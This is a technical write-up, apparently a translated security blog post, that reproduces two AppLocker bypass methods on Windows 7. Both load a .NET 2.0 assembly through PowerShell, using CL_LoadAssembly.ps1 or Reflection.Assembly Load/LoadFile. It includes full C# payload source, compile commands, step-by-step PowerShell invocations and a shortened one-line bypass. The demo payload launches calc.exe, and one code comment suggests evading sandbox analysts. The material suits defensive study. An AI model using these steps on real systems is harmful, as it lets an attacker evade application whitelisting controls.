0x00 Preface

---

Recently, bohops introduced a method to bypass AppLocker using CL_LoadAssembly.ps1 in the article "Executing Commands and Bypassing AppLocker with PowerShell Diagnostic Scripts," a technique also mentioned by Casey Smith as early as SchmooCon 2015. This article will reproduce both of their implementation methods, analyze the details, compare the differences, and summarize the exploitation approach.

0x01 Introduction

---

This article will cover the following:

  • Reproducing bohops' method
  • Reproducing Casey Smith's method
  • Detailed analysis
  • Summary of exploitation approach

0x02 Reproducing bohops' method

---

Test system: Win7 x86

AppLocker enabled. For enabling methods, refer to the article "Bypass Windows AppLocker"

Development tool: VS2012

1. Create a new C# console project ConsoleApplication5, default code as follows:

using System;
using System.Collections.Generic;
using System.Text;

namespace ConsoleApplication5
{
class Program
{
static void Main(string[] args)
{
}
}
}

2. Modify the code as follows:

namespace ConsoleApplication5
{
public class Program
{
public static void test()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
// p.StartInfo.FileName = "c:\\windows\\system32\\cmd.exe";
// p.StartInfo.Arguments = @"/c ""powershell.exe"" -ep bypass -c $host";
p.Start();
}
static void Main(string[] args)
{
test();
}

}
}

Note:

Add the access modifier public before class Program, and also add the access modifier public to Method test()

3. Change the target framework to .NET 2.0, compile and generate ConsoleApplication5, save it under c:\6

4. Execute the following code in PowerShell:

cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\6\ConsoleApplication5.exe
[ConsoleApplication5.Program]::test()

Note:

..\..\..\..\ can locate to c:\

[ConsoleApplication5.Program]::test() must correspond to the code within the program, in the format: [$namespace.$class]::$function()

Successfully execute calc.exe, bypassing AppLocker

0x03 Reproducing Casey Smith's method

---

Test system: Win7 x86

Enable Applocker

Code reference address:

https://gist.github.com/netbiosX/5f19a3e8762b6e3fd25782d8c37b1663

This test makes slight modifications to Casey Smith's code

1. Create a new file bypass.cs with the following content:

using System;
using System.Collections.Generic;
using System.Text;

public class Program
{
public static void Main()
{
Console.WriteLine("Hey There From Main()");
//Add any behaviour here to throw off sandbox execution/analysts :)

}

}
public class aaa
{
public static void bbb()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
// p.StartInfo.FileName = "c:\\windows\\system32\\cmd.exe";
// p.StartInfo.Arguments = @"/c ""powershell.exe"" -ep bypass -c notepad.exe";
p.Start();
}
}

2. Compile it using csc.exe version 2.0 to generate an exe file

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:bypass.exe bypass.cs

3. Execute the following code in PowerShell:

$bytes = [System.IO.File]::ReadAllBytes("C:\6\bypass.exe")
[Reflection.Assembly]::Load($bytes)
[aaa]::bbb()

Successfully executed calc.exe, bypassing AppLocker

0x04 Comparative Analysis

---

1. Bohops' method

Load the file CL_LoadAssembly.ps1, located at C:\windows\diagnostics\system\AERO

The content of the file CL_LoadAssembly.ps1 is as follows:

# Copyright © 2008, Microsoft Corporation. All rights reserved.


# Common library
. .\CL_Utility.ps1

function LoadAssemblyFromNS([string]$namespace)
{
if([string]::IsNullorEmpty($namespace))
{
throw "Invalid namespace"
}

[System.Reflection.Assembly]::LoadWithPartialName($namespace) > $null
}

function LoadAssemblyFromPath([string]$scriptPath)
{
if([String]::IsNullorEmpty($scriptPath))
{
throw "Invalid file path"
}

$absolutePath = GetAbsolutionPath $scriptPath


[System.Reflection.Assembly]::LoadFile($absolutePath) > $null
}

Call the function LoadAssemblyFromPath, essentially invoking [System.Reflection.Assembly]::LoadFile($absolutePath)

2. Casey Smith's method

$bytes = [System.IO.File]::ReadAllBytes("C:\6\bypass.exe")
[Reflection.Assembly]::Load($bytes)
[aaa]::bbb()

Invoked [Reflection.Assembly]::Load($bytes)

Note:

[Reflection.Assembly] is shorthand for [System.Reflection.Assembly]

3. Comparison

The two methods use Assembly's LoadFile and Load methods respectively, with minimal practical difference in this context

You can use the LoadFile and Load methods respectively to call the two exes generated by the above two methods (compiled by vs2012 and csc.exe respectively)

The swapped code is as follows:

$bytes = [System.IO.File]::ReadAllBytes("C:\6\ConsoleApplication5.exe")
[Reflection.Assembly]::Load($bytes)
[ConsoleApplication5.Program]::test()

cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\6\bypass.exe
[aaa]::bbb()

Based on the above tests, it can be inferred that the following two code segments are equivalent:

cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\6\bypass.exe

[Reflection.Assembly]::LoadFile("C:\6\bypass.exe")

According to the above inference, we can simplify Casey Smith's exploit code, with the shortest PowerShell implementation as follows:

[Reflection.Assembly]::LoadFile("C:\6\bypass.exe")
[aaa]::bbb()

4. Applicable Conditions

In actual testing, the above two methods are applicable to .NET 2.0; if compiled with .NET 4.0, an error will occur during execution.

0x05 Summary

---

This article tested the methods of bohops and Casey Smith respectively, finding that the essence of the methods lies in using the LoadFile and Load methods of Assembly. Through actual testing, it is concluded that this method is only applicable to the .NET 2.0 environment.